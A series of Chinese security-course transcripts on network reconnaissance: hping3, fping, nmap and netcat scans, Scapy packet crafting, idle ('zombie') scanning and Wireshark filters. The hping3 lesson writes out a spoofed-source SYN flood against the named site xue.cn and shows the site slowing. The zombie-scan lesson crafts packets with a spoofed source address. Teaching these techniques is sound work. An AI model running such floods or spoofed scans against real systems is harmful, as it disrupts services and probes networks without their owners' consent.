通过本课的学习,你已掌握了在局域网内进行主动主机发现的另一种有效方法,并具备了将简单命令组合成自动化工具的能力。
课程 P42:8.4 - 【主动信息收集系列】基于ping命令的探测 - HPING & FPING 🚀
在本节课中,我们将学习两个基于ping命令的增强工具:hping3和fping。我们将了解它们的基本原理、参数含义以及如何利用它们进行网络探测和简单的压力测试。
HPING3:数据包组装与分析工具 🔧

上一节我们介绍了基础的ping命令,本节中我们来看看一个更强大的工具hping3。它是一个命令行下的TCP/IP数据包组装和分析工具。网络管理员通常用它进行压力测试,它也可以用于模拟网络层攻击实验。

与ping类似,hping3一次通常只能针对一个目标进行操作。这里我们以演示为目的,使用它进行简单的压力测试。请注意,此类操作仅应在授权的测试环境中进行,切勿对未授权的目标使用。
首先,我们确认目标网站(例如 xue.cn)可以正常访问。

访问正常,网站可以打开。

下面我们使用hping3命令。以下是命令中各个参数的含义:
-c 1000:指定发送数据包的总数量为1000个。-d 120:指定每个发送到目标机器的数据包大小为120字节。-S:代表发送的是SYN数据包。SYN包是TCP三次握手中第一次建立连接的请求包。-w 64:指定TCP窗口大小为64字节。它用于流量控制,告知目标主机本机一次能接受的最大数据量。-p 80:指定目标端口为80(Web服务端口)。你也可以指定其他任何端口。--flood:以最快速度发送数据包,不等待回复,即洪水式攻击模式。--rand-source:使用随机的伪造源IP地址。注意:这种伪造通常在局域网内有效,数据包一旦经过路由器出网,源地址可能会被还原为真实IP。xue.cn:这是压力测试的目标站点域名。
完整的命令示例如下:
hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source xue.cn

下面我们在Kali Linux中执行这个命令来观察效果。


在执行命令前,我们可以打开抓包软件Wireshark来捕获数据包,验证源IP是否被伪造。我们确保网卡处于混杂模式(本例中已关闭),然后开始抓包。



开始抓包后,执行hping3命令。

随后,我们可以在Wireshark中捕获到大量数据包。可以看到目标IP是学神的地址,而源IP地址各不相同,这证实了伪造源IP的行为。这些数据包都是SYN请求,窗口大小为64,每个包120字节,瞬间发送了1000个。


此时,我们再次尝试访问目标网站。

打开一个新窗口访问 xue.cn,会发现网站变得非常缓慢甚至无法打开。我们简单观察效果即可,随后停止命令。这就是hping3的基本使用,它一次同样只能针对一个IP地址进行操作。
FPING:批量主机存活探测工具 📡
接下来我们看另一个基于ping命令衍生的工具——fping。通过它可以快速查看一个局域网中有哪些主机在线。fping可以看作是ping命令的增强版,它能够对一个IP地址段进行扫描,而普通的ping命令无法直接扫描网段。
首先,fping也可以对单个IP进行探测。例如:
fping 192.168.1.1 -c 1
这个命令会向192.168.1.1发送一个数据包,如果收到回复,则证明该主机存活。
如果我们想扫描一个网段,则需要使用-g参数,它表示对地址段进行扫描(不加此参数则扫描单个IP)。指定网段有两种写法:
192.168.1.0/24192.168.1.1 192.168.1.254
同时,我们可以使用-c 1指定对每个地址只发送一个探测包。由于扫描整个网段输出结果较多,我们可以将存活主机的列表保存到一个文本文件中。使用重定向符号 > 可以将扫描结果输出到指定文件。
以下是扫描网段并将结果保存的示例命令:
fping -g 192.168.1.0/24 -c 1 > alive_hosts.txt 2>&1
执行完成后,我们可以使用cat命令查看结果文件:
cat alive_hosts.txt
文件中将只列出在线的主机IP地址。例如,可能得到类似以下的输出,显示当前网络中有四台存活主机(网关、物理机、Kali虚拟机和CentOS虚拟机):
192.168.1.1
192.168.1.100
192.168.1.128
192.168.1.163

总结 📝
本节课中我们一起学习了两个重要的网络探测工具。
hping3:一个功能强大的数据包生成器,可用于压力测试和TCP/IP协议分析。我们通过指定参数伪造SYN洪水攻击,观察了其对目标服务的影响。fping:一个高效的批量ping工具,能够快速扫描一个IP地址段,并找出所有存活的主机,极大提高了局域网主机发现的效率。

在实际进行信息收集时,有多种命令可以实现相似功能。具体选择使用哪一个,可以根据实际场景和个人操作习惯来决定。掌握这些工具的原理和用法,是进行网络诊断和安全评估的基础技能。
课程P43:8.5-【主动信息收集系列】基于Nmap的扫描方式 🛠️
在本节课中,我们将要学习两种重要的网络扫描工具:Nmap和Netcat。我们将重点了解如何使用Nmap进行主机存活扫描和半连接端口扫描,并学习Netcat的基本端口扫描功能。这些工具是网络安全和信息收集的基础。
Nmap主机存活扫描
上一节我们介绍了主动信息收集的概念,本节中我们来看看如何使用Nmap进行基础的网络探测。Nmap全称Network Mapper,最初是Linux下的一个网络扫描和嗅探工具包,功能非常强大。我们将在后续课程中单独深入讲解Nmap。这里,我们先学习如何使用Nmap扫描整个网段内存活的主机。
Nmap最著名的是端口扫描功能,但在此我们仅用它来发现网段内存活的主机,即只进行Ping扫描,不扫描端口。
以下是使用Nmap进行主机存活扫描的命令:

nmap -sn 192.168.1.1/24
参数 -sn 表示只进行Ping扫描,实现Ping的功能,不进行端口扫描。后面的 192.168.1.1/24 是目标网段。

执行该命令后,Nmap会列出局域网内所有存活的主机,包括本机。输出结果会显示“Host is up”(主机存活)以及对应的MAC地址。
此外,还可以使用另一种格式指定扫描范围:
nmap -sn 192.168.1.1-254
这两种方式的结果是相同的,都可以用于批量扫描,发现局域网内的存活主机,这个功能非常实用。

Nmap半连接扫描
学会了基础的主机发现后,我们下面来看另外一种更有意思的扫描方式:半连接扫描。要理解半连接扫描,首先需要了解TCP三次握手。
Nmap的扫描类型主要有TCP全连接扫描和半连接扫描。其中,全连接扫描会在目标主机上留下记录,因为它完成了整个TCP三次握手过程。而半连接扫描则不会留下记录,因为它只完成了TCP三次握手的前两次。
下面我们通过一张图来理解TCP三次握手。假设主机A要与主机B建立连接:
- 首先,A向B的某个端口(例如22端口)发送一个SYN连接请求。
- 当B收到请求后,如果该端口开放,则会回复一个SYN+ACK包,表示确认连接,同时要求A也开放一个端口供B连接。
- A收到SYN+ACK后,会打开一个高位端口,并回复一个ACK确认包。至此,三次握手完成,双方可以开始数据传输。
如果目标端口是关闭的,B在收到SYN请求后就不会回复SYN+ACK包。
所谓半连接扫描,就是只完成前两次握手。当扫描方(A)收到目标主机(B)回复的SYN+ACK包时,就证明该端口是开放的。此时,扫描方不再发送第三次握手的ACK确认包,而是直接断开连接,因此不会在目标主机上留下完整的连接记录。
理解了TCP三次握手,全连接和半连接扫描的原理就清晰了。下面我们通过Nmap来实现半连接扫描。
以下是使用Nmap进行半连接扫描的命令:
nmap -sS 目标IP -p 端口列表
参数 -sS 表示进行半连接扫描。-p 用于指定要扫描的端口,例如 -p 80,21,25,443。
执行命令后,Nmap会给出指定端口的状态,如“open”(开放)或“closed”(关闭),并确认目标主机是存活的(up)。


使用Netcat进行端口扫描

除了Nmap,还有一个工具也可以进行端口扫描,那就是Netcat。Netcat全称NetCat,被誉为网络界的“瑞士军刀”。它短小精悍,功能实用,被设计为一个简单可靠的网络工具。

Netcat的作用很多,主要包括:
- 可以监听TCP/UDP端口。
- 可以作为客户端发起TCP或UDP连接。
- 可以进行端口扫描。
- 可以在机器间传输文件。
- 可以进行网络测试等。
这里我们需要用到它的几个参数。Netcat参数很多,其中:
-n:直接使用IP地址,不进行域名解析。-v:显示详细信息。-w:设置超时时间(秒)。-z:进行端口扫描。
下面我们利用Netcat工具来扫描一个IP地址或一个IP范围。

以下是使用Netcat进行端口扫描的命令示例:
nc -nv -w 1 -z 192.168.1.1 1-100
参数说明:
-nv:不解析域名并显示详细信息。-w 1:设置超时时间为1秒。如果超过1秒没有响应,则放弃探测。-z:指定进行端口扫描。192.168.1.1 1-100:表示扫描IP地址192.168.1.1的1到100号端口。
执行该命令可以探测出目标IP在指定范围内有哪些端口是开放的,例如可能会发现80端口和22端口是开放的。这是使用Netcat进行端口扫描的简单方法。

工具选择与总结

现在,无论是Nmap还是Netcat,都可以实现端口扫描。那么具体该用哪个呢?其实,如果它们能实现同一个目的并得到相同的结果,选择往往取决于个人习惯和具体场景的需求。Nmap功能更为全面和强大,而Netcat则更加轻量和灵活。

本节课中我们一起学习了:
- 使用Nmap的
-sn参数进行网段内存活主机的发现(Ping扫描)。 - 理解了TCP三次握手,并学会了使用Nmap的
-sS参数进行更隐蔽的半连接端口扫描。 - 认识了Netcat工具,并学会了使用其
-n -v -w -z参数组合进行基本的端口扫描。

这些是主动信息收集中探测网络主机和服务的核心技能,为后续更深入的安全测试工作奠定了基础。
课程 P44:使用 Scapy 定制数据包进行高级扫描 🛠️
在本节课中,我们将学习如何使用 Python 库 Scapy 来定制和发送网络数据包,从而实现 ARP、ICMP(Ping)和 TCP SYN 等高级扫描技术。通过手动构建数据包,我们可以更深入地理解网络协议,并执行更灵活、更隐蔽的网络探测。

什么是 Scapy?🤔

Scapy 是一个功能强大的 Python 程序,它允许用户发送、嗅探、解析和伪造网络数据包。这些功能可以用于制作网络探测、扫描和攻击工具。

既然是 Python 编写的,这意味着只要在 Windows 或 Linux 系统上安装了 Python 环境,就可以使用 Scapy。

使用 Scapy 定制 ARP 数据包
上一节我们介绍了 Scapy 的基本概念,本节中我们来看看如何使用它定制一个 ARP 协议的数据包。ARP 协议工作在数据链路层,相对比较简单。
首先,我们需要在终端中启动 Scapy 交互环境:
scapy
启动后,会显示版本信息(例如 2.4.3)和 Python 提示符 >>>。一些加载时的警告信息通常不影响使用。
在 Scapy 中,我们可以使用 ARP() 函数查看 ARP 数据包的默认结构:

ARP().display()
执行上述命令会显示 ARP 数据包的所有字段及其默认值。以下是核心字段的含义:
hwtype: 硬件类型,标识链路层协议(例如以太网)。ptype: 协议类型,标识网络层协议(例如 IP)。hwlen: 硬件地址长度(MAC 地址长度,6 字节)。plen: 协议地址长度(IP 地址长度,4 字节)。op: 操作码,1代表 ARP 请求,2代表 ARP 响应。hwsrc/psrc: 源 MAC 地址和源 IP 地址(默认为本机)。hwdst/pdst: 目标 MAC 地址和目标 IP 地址。发送 ARP 请求时,我们不知道目标 MAC,所以hwdst通常为空,而pdst则是我们要查询的目标 IP 地址。
因此,定制一个 ARP 请求包,我们主要需要指定 pdst(目标 IP)参数。

Scapy 的 sr1() 函数用于发送数据包并接收返回的第一个应答。以下是向网关(假设为 192.168.1.1)发送 ARP 请求的命令:
sr1(ARP(pdst="192.168.1.1"))

如果目标在线,我们将收到一个 ARP 响应包。在响应包中,psrc 和 hwsrc 会变成网关的 IP 和 MAC 地址,这证明我们成功获取了信息。
这种方式比简单的 arping 命令更底层,让我们能更精细地控制扫描过程。
要退出 Scapy 交互环境,请输入 exit()。

使用 Scapy 定制 ICMP Ping 包
了解了 ARP 扫描后,我们进一步学习如何定制一个 ICMP Ping 包。Ping 使用的是 ICMP 协议。
首先,我们查看 ICMP 数据包的格式:
ICMP().display()
ICMP 包的关键字段包括:
type: 数据包类型,8为请求(Echo Request),0为回复(Echo Reply)。code: 代码,与类型配合使用。chksum: 校验和,用于验证数据完整性。id/seq: 标识符和序列号,用于匹配请求与回复。
但 ICMP 包本身不包含 IP 地址信息。因此,我们还需要结合 IP 层。查看 IP 数据包格式:
IP().display()
IP 数据包的重要字段很多,对于 Ping 扫描,我们主要关注:
dst: 目的 IP 地址(最关键)。src: 源 IP 地址(通常自动填充)。ttl: 生存时间,每经过一个路由器减 1,防止环路。
定制 Ping 包的思路是:组合 IP() 和 ICMP() 两个层。IP() 指定目标地址,ICMP() 默认就是 Echo Request 类型。然后使用 sr1() 发送。
以下是向网关发送 Ping 请求的示例:
sr1(IP(dst="192.168.1.1")/ICMP(), timeout=2)
如果收到回复,在回复包中可以看到 IP 层的源地址是网关 IP,并且 ICMP 层的 type 为 0(Echo Reply),这证明 Ping 通了。

通过这种方式,我们能更透彻地理解 Ping 命令背后的网络通信过程。


使用 Scapy 定制 TCP SYN 请求

最后,我们学习最常用的端口扫描技术之一:TCP SYN 扫描(半连接扫描)。这模拟了 TCP 三次握手的第一步。
首先,查看 TCP 数据包的格式:
TCP().display()
TCP 包的关键字段包括:
sport: 源端口(通常随机)。dport: 目的端口(要扫描的端口)。flags: 标志位,用于控制连接状态(如 S 代表 SYN,A 代表 ACK,R 代表 RST)。

SYN 扫描的原理是:向目标端口发送一个 SYN 标志置位的 TCP 包。
- 如果端口开放,目标会回复 SYN+ACK 包。
- 如果端口关闭,目标会回复 RST 包。

这样,我们无需完成整个三次握手,扫描行为更隐蔽。
以下是使用 Scapy 扫描网关 80 端口的命令:
sr1(IP(dst="192.168.1.1")/TCP(dport=80, flags="S"), timeout=2)
如果收到回复,检查 TCP 层的 flags 字段:
- 若为
SA(SYN-ACK),则端口开放。 - 若为
RA或R(RST),则端口关闭。

例如,扫描一个可能关闭的端口 200:
sr1(IP(dst="192.168.1.1")/TCP(dport=200, flags="S"), timeout=2)
此时很可能收到 flags=RA 的回复,表明端口不可用。
总结 📝

本节课中,我们一起学习了使用 Scapy 库进行高级网络扫描的三种核心方法:
- ARP 扫描:通过定制 ARP 请求包,获取目标 IP 对应的 MAC 地址。
- ICMP Ping 扫描:通过组合 IP 层和 ICMP 层,手动构造 Ping 包来探测主机存活状态。
- TCP SYN 扫描:通过发送 SYN 包并分析返回的 flags,判断目标端口的开放状态,实现更隐蔽的半连接扫描。

Scapy 的强大之处在于它提供了从底层构建和分析网络数据包的能力,这不仅能用于安全扫描,也是深入学习网络协议的绝佳工具。
课程P45:8.7-【主动信息收集系列】实战2-僵尸扫描 🧟♂️
在本节课中,我们将要学习一种特殊的主动信息收集技术——僵尸扫描。这种技术以其极高的隐蔽性著称,但其实现条件也较为苛刻。我们将深入理解其工作原理,并通过实战演示如何使用Scapy和Nmap工具进行僵尸扫描。
概述
渗透测试中,思维比技术本身更为重要。僵尸扫描虽然实用性有限,但其背后隐藏的思维模式——如何在不直接接触目标的情况下获取信息——非常值得学习。本节将详细解释什么是僵尸扫描、其工作原理以及如何实施。
什么是僵尸扫描?
僵尸扫描是一种利用第三方“僵尸主机”来间接探测目标主机端口状态的扫描技术。这里的“僵尸主机”并非指被恶意软件控制的计算机,而是指一个闲置的操作系统。所谓闲置,是指这台主机不会主动与任何其他设备通信。
这种扫描方式拥有极高的隐蔽性,但实施条件比较苛刻,需要满足几个条件:
- 目标网络允许伪造源IP地址进行访问。
- 选择的僵尸主机必须是互联网上的一个闲置操作系统。
- 该僵尸主机操作系统的IP数据包标识字段(IP ID)是递增的,例如Windows XP系统。
僵尸扫描的原理
要理解僵尸扫描,首先需要回顾TCP三次握手的过程。在三次握手中,第二次握手的数据包是SYN+ACK。僵尸扫描的核心,就是巧妙地利用这个数据包和IP ID的自增特性来推断目标端口状态。
以下是整个过程的原理图解和分析:
端口开放状态下的原理
我们将通过三个步骤来演示当目标端口开放时,IP ID的变化。
第一步:获取僵尸主机初始IP ID
攻击者向僵尸主机发送一个SYN+ACK数据包。由于僵尸主机并未向攻击者发起连接请求,因此它会回复一个RST(重置)数据包来关闭这个意外的连接。攻击者可以从这个回复包中获得僵尸主机当前的IP ID值,假设为 X。
第二步:伪装探测目标主机
攻击者将自己的源IP地址伪装成僵尸主机的IP地址,然后向目标主机的特定端口(例如22端口)发送一个SYN连接请求。
- 如果目标主机的该端口是开放的,它会按照TCP协议,向请求的源IP(即僵尸主机)回复一个SYN+ACK确认包。
- 僵尸主机收到这个来自目标主机的SYN+ACK包后,会感到困惑(因为它没有发起请求),于是向目标主机回复一个RST包。每发送一个数据包,僵尸主机的IP ID就会自增1。因此,在这个交互后,僵尸主机的IP ID变为 X+1。
第三步:再次获取僵尸主机IP ID
攻击者再次向僵尸主机发送一个SYN+ACK数据包。僵尸主机同样会回复一个RST包,此时IP ID再次自增1,变为 X+2。
结论分析:
攻击者对比第一步和第三步获得的IP ID值。初始值为 X,最终值为 X+2,自增了2。这证明在探测过程中,僵尸主机额外发送了一个数据包(即第二步中回复给目标主机的RST包),从而间接证明目标主机的端口是开放的。
端口关闭状态下的原理
现在,我们来看当目标端口关闭时的情况。
第一步:获取僵尸主机初始IP ID
与开放状态相同,攻击者获得初始IP ID值 X。
第二步:伪装探测目标主机
攻击者伪装成僵尸主机,向目标主机的关闭端口发送SYN请求。
- 由于端口关闭,目标主机会直接向请求的源IP(即僵尸主机)回复一个RST包,拒绝连接。
- 僵尸主机收到这个RST包后,不会做出任何响应(因为它没有发起请求,收到RST是正常的结束状态)。因此,僵尸主机的IP ID没有发生变化,仍为 X。
第三步:再次获取僵尸主机IP ID
攻击者再次向僵尸主机发送SYN+ACK,僵尸主机回复RST,IP ID自增1,变为 X+1。
结论分析:
攻击者对比初始值 X 和最终值 X+1,发现IP ID只自增了1。这说明在探测过程中,僵尸主机没有与目标主机发生额外通信,从而证明目标主机的端口是关闭的。
实战演示:使用Scapy进行僵尸扫描
理解了原理后,我们通过Scapy工具手动实现僵尸扫描。实验环境如下:
- 攻击机(Kali Linux):IP 为 192.168.1.53
- 僵尸主机(Windows XP):IP 为 192.168.1.54 (需关闭防火墙)
- 目标主机:IP 为 192.168.1.63
我们将同时执行三个步骤,并快速对比结果。
探测开放端口(22端口)
以下是探测目标主机22端口状态的命令序列:

# 第一步:获取僵尸主机(1.54)初始IP ID,探测其45端口
r1 = sr1(IP(dst=“192.168.1.54”)/TCP(dport=45, flags=“SA”), timeout=2, verbose=0)

# 第二步:伪装成僵尸主机(1.54),探测目标主机(1.63)的22端口
send(IP(src=“192.168.1.54”, dst=“192.168.1.63”)/TCP(dport=22, flags=“S”), timeout=1, verbose=0)
# 第三步:再次获取僵尸主机当前IP ID
r2 = sr1(IP(dst=“192.168.1.54”)/TCP(dport=45, flags=“SA”), timeout=2, verbose=0)

执行后,查看 r1.display() 和 r2.display() 结果中的IP ID字段。假设初始ID为86,最终ID为88,自增2,则判断目标22端口为开放。

探测关闭端口(2323端口)

以下是探测一个可能关闭的端口(2323)的命令:

# 步骤同上,仅改变目标端口
r1 = sr1(IP(dst=“192.168.1.54”)/TCP(dport=45, flags=“SA”), timeout=2, verbose=0)
send(IP(src=“192.168.1.54”, dst=“192.168.1.63”)/TCP(dport=2323, flags=“S”), timeout=1, verbose=0)
r2 = sr1(IP(dst=“192.168.1.54”)/TCP(dport=45, flags=“SA”), timeout=2, verbose=0)

假设初始ID为89,最终ID为90,自增1,则判断目标2323端口为关闭。
使用Nmap进行僵尸扫描

手动扫描比较繁琐,Nmap工具内置了僵尸扫描功能。首先,我们需要寻找可用的僵尸主机。


发现潜在僵尸主机


使用Nmap脚本扫描局域网,寻找IP ID为递增模式的主机:


nmap 192.168.1.0/24 -p1-1024 --script=ipidseq.nse -oA a.txt



查看结果文件 a.txt,寻找输出中包含 Incremental! 的IP地址,这些是潜在的僵尸主机。
执行Nmap僵尸扫描

找到僵尸主机(例如192.168.1.54)后,使用以下命令进行扫描:
nmap 192.168.1.63 -sI 192.168.1.54 -p1-100
-sI参数用于指定僵尸主机的IP地址。- 该命令会通过僵尸主机192.168.1.54来扫描目标主机192.168.1.63的1到100号端口。

注意:并非所有IP ID递增的主机都适合作为僵尸主机。如果主机不够“闲置”(即在扫描期间仍会主动发送其他数据包),会导致IP ID的增量不稳定,从而使扫描结果不准确。
总结

本节课中,我们一起学习了主动信息收集中的高级技术——僵尸扫描。我们首先探讨了渗透测试中思维的重要性,然后详细剖析了僵尸扫描利用TCP/IP协议栈和IP ID自增特性的工作原理。通过Scapy工具,我们一步步实现了对目标端口状态的间接探测,并验证了“IP ID自增2则端口开放,自增1则端口关闭”的结论。最后,我们学习了如何使用Nmap自动化地发现僵尸主机并执行扫描。


尽管僵尸扫描的实施条件苛刻,在实际渗透中应用场景有限,但理解其原理对于深化网络协议认知和培养隐蔽测试思维具有重要价值。
课程P46:9.1 - 【WireShark抓包系列】WireShark简介和抓包原理及过程 🕵️

在本节课中,我们将要学习网络封包分析软件WireShark的基本概念、核心抓包原理以及其工作过程。通过学习,你将了解WireShark是什么、它能做什么,以及如何有效地使用它来捕获和分析网络数据。
WireShark简介 📖

什么是WireShark?WireShark是一个网络封包分析软件。网络封包分析软件的功能是截取网络封包,并尽可能详细地显示网络封包的资料。WireShark使用WinPcap作为接口,直接与网卡进行数据报文交换。
需要注意的是,WireShark自带WinPcap。在Windows系统下安装和使用WireShark时,必须安装WinPcap。实际上,在安装WireShark时,它会自动安装WinPcap。WireShark以WinPcap为接口,否则无法抓包。

WireShark的应用场景 🎯

WireShark被广泛应用于不同领域。
以下是WireShark的主要应用场景:
- 网络管理:网络管理员使用WireShark来检测网络问题。
- 安全分析:网络安全工程师使用WireShark来检测信息安全相关问题。
- 协议开发:开发者使用WireShark来为新的通讯协议进行除错。
- 协议学习:普通学习者使用它来学习网络协议的相关知识。
- 信息探测:也有人会用它来寻找一些敏感信息。既然可以抓包,那么对于明文传输的协议,例如FTP、HTTP,其中的账号密码通过WireShark也是可以抓取出来的。

WireShark快速分析数据包的技巧 ⚡
上一节我们介绍了WireShark的应用,本节中我们来看看如何高效地使用WireShark进行分析。掌握正确的技巧可以极大地提升分析效率。
以下是使用WireShark快速分析数据包的关键技巧:

- 选择正确位置:要想使用WireShark抓取到整个网络的数据流量,首先必须确定其物理位置。如果没有一个正确的位置,启动WireShark后会花费很长时间捕获一些与自己无关的数据。一般会将其部署在核心网络区域,例如网络出口,这样可以抓取到流经网关的整个内网甚至外网的所有数据包。
- 选择捕获接口:通过选择捕获接口,一般选择连接到Internet网络的接口,这样才可以捕获到与网络相关的数据。否则捕获到的其他数据对自己没有任何帮助。
- 使用捕获过滤器:通过设置捕获过滤器,可以避免产生过大的捕获数据文件。这样在用户分析数据时,也不会受其他数据干扰。这意味着你可以只捕获特定类型的数据,为用户节省大量时间。
- 使用显示过滤器:当你捕获到很多数据之后,通过显示过滤器可以对已抓取的数据包进行更细致的过滤,从而更明确地找到你想要查看的数据包。捕获过滤器是在捕获之前设置的,而显示过滤器是在捕获完成后进行筛选的。
- 使用着色规则:通常使用显示过滤器过滤后的数据都是有用的数据包。如果你想突出显示某个会话,可以通过着色规则来高亮显示,用不同的颜色进行标示。
- 构建图表:通过图表的方式,能直观地看出网络中数据的变化情况。图表形式也可以很方便地展现数据分布情况。
- 重组数据:这一点也很强大。例如,在网络传输过程中,当传输较大的图片或文件时,可能需要将信息分布在多个数据包中,即分片传输。这时就需要使用重组数据的方法来获取完整的数据。WireShark具备重组功能,可以重组一个会话中不同数据包的信息,或者重组一个完整的图片或文件。

本节课中我们一起学习了WireShark的基本定义、其依赖的WinPcap接口、广泛的应用场景,以及从选择抓包位置、使用过滤器到数据重组等一系列高效分析数据包的实用技巧。掌握这些基础知识是后续进行实际抓包和分析的前提。
课程 P47:9.2 - 【WireShark抓包系列】常见协议包与启动 🚀
在本节课中,我们将学习如何使用WireShark启动抓包,并理解混杂模式与普通模式的核心区别。课程将涵盖常见协议包的介绍以及WireShark的基本操作技巧。
启动WireShark
下面我们讲解WireShark抓包及快速定位数据包的技巧。本节课主要针对一些常见的协议包进行讲解,主要包括ARP、ICMP、TCP、UDP、DNS和HTTP这几种常见协议类型。
下面我们来启动我们的WireShark。WireShark在Kali Linux中是自带的。


它在“应用程序” -> “嗅探和欺骗”分类里,点击这个图标即可。


下面我们启动它。启动后会出现一个错误提示信息,意思是不建议使用root用户运行。这里我们直接点击“OK”即可。
然后需要选择网卡名称。网卡是抓取流量的关键,它会抓取流经本网卡或发送给本网卡的所有数据包。
具体选择哪个网卡,我们可以通过终端来查看。

查看Kali Linux的网卡名称。


默认网卡通常是 eth0。查看方法如上图所示。

因此,这里我们选择第一个 eth0 即可。双击这个网卡名称,WireShark就会开始抓包。
现在,大量的数据包已经开始产生了。

这里需要注意一点。

理解混杂模式
下面我们来介绍一个概念:混杂模式。在抓包过程中,存在混杂模式和普通模式两种模式。这两种模式有什么区别?什么是混杂模式?什么是普通模式?


下面给大家讲解一下。
首先来看混杂模式。所谓的混杂模式,就是接收所有流经本网卡的数据包。这些数据包包括不是发送给本机的包,也就是说,网卡不会去验证MAC地址。
另一种是普通模式。在普通模式下,网卡只接收发送给本机的包,其中包括广播包,然后传递给上层程序。其他不是发送给本机的包一律丢弃。
一般来说,混杂模式不会影响网卡的正常工作,多在网络监听工具上使用。
下面我们打开WireShark。默认情况下,WireShark处于混杂模式。
如何关闭混杂模式,打开普通模式呢?我们来看一下操作。
首先,停止当前的抓包。
然后,点击“捕获” -> “选项”。你会看到一个勾选的选项:“在所有接口上使用混杂模式”。
把这个对勾去掉,然后点击“开始”。弹出的提示框选择不保存。
此时,WireShark就进入了普通模式。
进入普通模式后,界面显示的数据包数量明显比刚才少很多。这是因为现在它只接收发送给本机的数据包(包括广播包)。
如何重新打开混杂模式呢?停止抓包,点击“捕获” -> “选项”,重新勾选“在所有接口上使用混杂模式”,然后点击开始即可。


总结
本节课中,我们一起学习了如何启动WireShark进行抓包,并深入理解了混杂模式与普通模式的核心区别。关键点在于:混杂模式会捕获所有流经网卡的数据,而普通模式只捕获目标为本机的数据。这是进行网络流量分析的基础。

课程P48:9.3 - Wireshark过滤器使用指南 🎯


在本节课中,我们将学习Wireshark中过滤器的使用方法。过滤器能帮助我们从海量的网络数据包中,快速筛选出我们感兴趣的部分,是网络分析中至关重要的工具。

开启混杂模式与捕获数据包
上一节我们介绍了Wireshark的基本界面,本节中我们来看看如何开始捕获数据包并进行过滤。首先,我们需要确保Wireshark工作在混杂模式下,以便捕获流经本机网卡的所有数据包。

- 在捕获选项界面,勾选“在所有接口上使用混杂模式”。
- 点击“开始”按钮,Wireshark将开始捕获数据包。
- 为了让过滤器有足够的数据进行演示,我们可以在虚拟机中访问一些网站(如百度)或使用
ping命令测试网络连通性,以生成网络流量。 - 捕获到一定数量的数据包后,点击“停止”按钮。
现在,主界面中已经充满了各种协议的数据包。接下来,我们将学习如何使用过滤器来精确查找。


使用协议过滤器

面对混杂的数据,我们可以通过协议类型进行初步筛选。以下是常用的协议过滤器示例:


- 筛选TCP协议数据包:在显示过滤器栏输入
tcp并回车。这将列出所有TCP协议的数据包,其中包含了建立连接的“三次握手”和断开连接的“四次挥手”过程。 - 筛选特定TCP标志位的数据包:我们可以进一步筛选具有特定标志位的TCP包。例如,筛选带有
SYN标志的数据包(通常是三次握手的第一个包),可以使用过滤器:tcp.flags.syn == 1。同理,筛选ACK包可使用tcp.flags.ack == 1。 - 筛选ARP协议数据包:输入
arp并回车,可以查看局域网内的地址解析协议通信。 - 筛选UDP协议数据包:输入
udp并回车。值得注意的是,DNS、DHCP等应用层协议也基于UDP,因此筛选结果中也会包含dns、bootp(DHCP)等协议的数据包。这是因为UDP是它们的传输层基础。 - 筛选HTTP协议数据包:输入
http并回车,可以快速定位到网页浏览产生的流量。 - 筛选DNS协议数据包:输入
dns并回车,可以查看所有的域名解析请求和响应。
知识扩展:DNS查询通常使用UDP协议,因为查询内容较小,UDP无需建立连接,速度更快,能降低服务器负载。虽然也支持TCP,但很多DNS服务器默认仅配置为响应UDP查询。
使用IP地址过滤器

除了按协议筛选,我们经常需要根据数据包的源地址或目的地址进行过滤。Wireshark提供了灵活的IP地址过滤语法。
观察数据包列表,Source列代表源IP地址,Destination列代表目的IP地址。

以下是几种常见的IP地址过滤方式:
- 筛选特定源IP的数据包:使用
ip.src == 192.168.1.53。此过滤器会列出所有从IP地址192.168.1.53发出的数据包。 - 筛选特定目的IP的数据包:使用
ip.dst == 192.168.1.1。此过滤器会列出所有发送到IP地址192.168.1.1的数据包。 - 组合条件过滤(逻辑或):使用
or连接两个条件。例如,ip.src == 192.168.1.53 or ip.dst == 192.168.1.1会筛选出源IP是192.168.1.53 或者 目的IP是192.168.1.1 的所有数据包。只要满足其中一个条件,数据包就会被显示。 - 组合条件过滤(逻辑与):使用
and连接两个条件。例如,ip.src == 192.168.1.53 and ip.dst == 192.168.1.1会筛选出源IP是192.168.1.53 并且 目的IP是192.168.1.1 的数据包。必须同时满足两个条件,结果更为精确。 - 筛选涉及特定IP的所有数据包(不区分源和目的):使用
ip.addr == 192.168.1.53。此过滤器会列出所有源IP或目的IP是192.168.1.53的数据包,相当于ip.src == 192.168.1.53 or ip.dst == 192.168.1.53的简写。
Wireshark的过滤功能非常强大,以上只是最常用的一部分。在输入时,Wireshark会提供语法提示,大家可以多尝试,组合使用不同的条件来满足具体的分析需求。




本节课中我们一起学习了Wireshark过滤器的核心用法。我们掌握了如何开启混杂模式捕获数据,并重点练习了两种主要的过滤方式:按协议类型过滤(如tcp, udp, http, dns)和按IP地址过滤(使用ip.src, ip.dst, ip.addr及逻辑运算符and/or)。熟练运用这些过滤器,能极大提升我们在海量网络数据中定位和分析问题的效率。
课程 P49:9.4 - 【WireShark抓包系列】常用协议分析-ARP协议 🔍
在本节课中,我们将学习如何使用 WireShark 对 ARP 协议进行抓包,并详细分析其工作原理和数据包结构。ARP 协议是网络通信中一个基础且关键的协议,理解它有助于我们深入了解局域网内设备是如何相互寻址的。
什么是 ARP 协议?
上一节我们介绍了课程目标,本节中我们来看看 ARP 协议是什么。ARP 协议,全称为地址解析协议。它是一个通过解析网络层地址来寻找数据链路层地址的网络传输协议。在 IPv4 网络中,ARP 协议极其重要。
ARP 的核心功能是通过网络地址来定位 MAC 地址。它主要负责将 IP 地址 解析成 MAC 地址。


开始抓取 ARP 数据包
了解了 ARP 协议的基本概念后,本节我们开始实践抓包。首先,在进行协议分析时,建议关闭 WireShark 的混杂模式,以避免干扰数据包。
以下是开始抓包的步骤:
- 打开 WireShark,在捕获选项中去掉“在所有接口上使用混杂模式”的勾选。
- 在捕获过滤器中输入
arp,以便只捕获 ARP 协议的数据包。 - 点击“开始捕获”按钮。
如何能产生一个 ARP 数据包呢?我们可以使用 nmap 工具发送一个基于 ARP 协议的扫描。
在 Kali Linux 中打开终端,输入以下命令:
nmap -sn 192.168.1.1
参数 -sn 表示只进行主机发现(Ping 扫描),不扫描端口。这里我们扫描网关地址。
执行命令后,回到 WireShark,即可看到捕获到的 ARP 请求与响应数据包。此时可以停止捕获。
分析 ARP 数据包
成功捕获到数据包后,本节我们来详细分析它们的结构。我们主要分析两个包:一个请求包和一个响应包。
分析 ARP 请求包
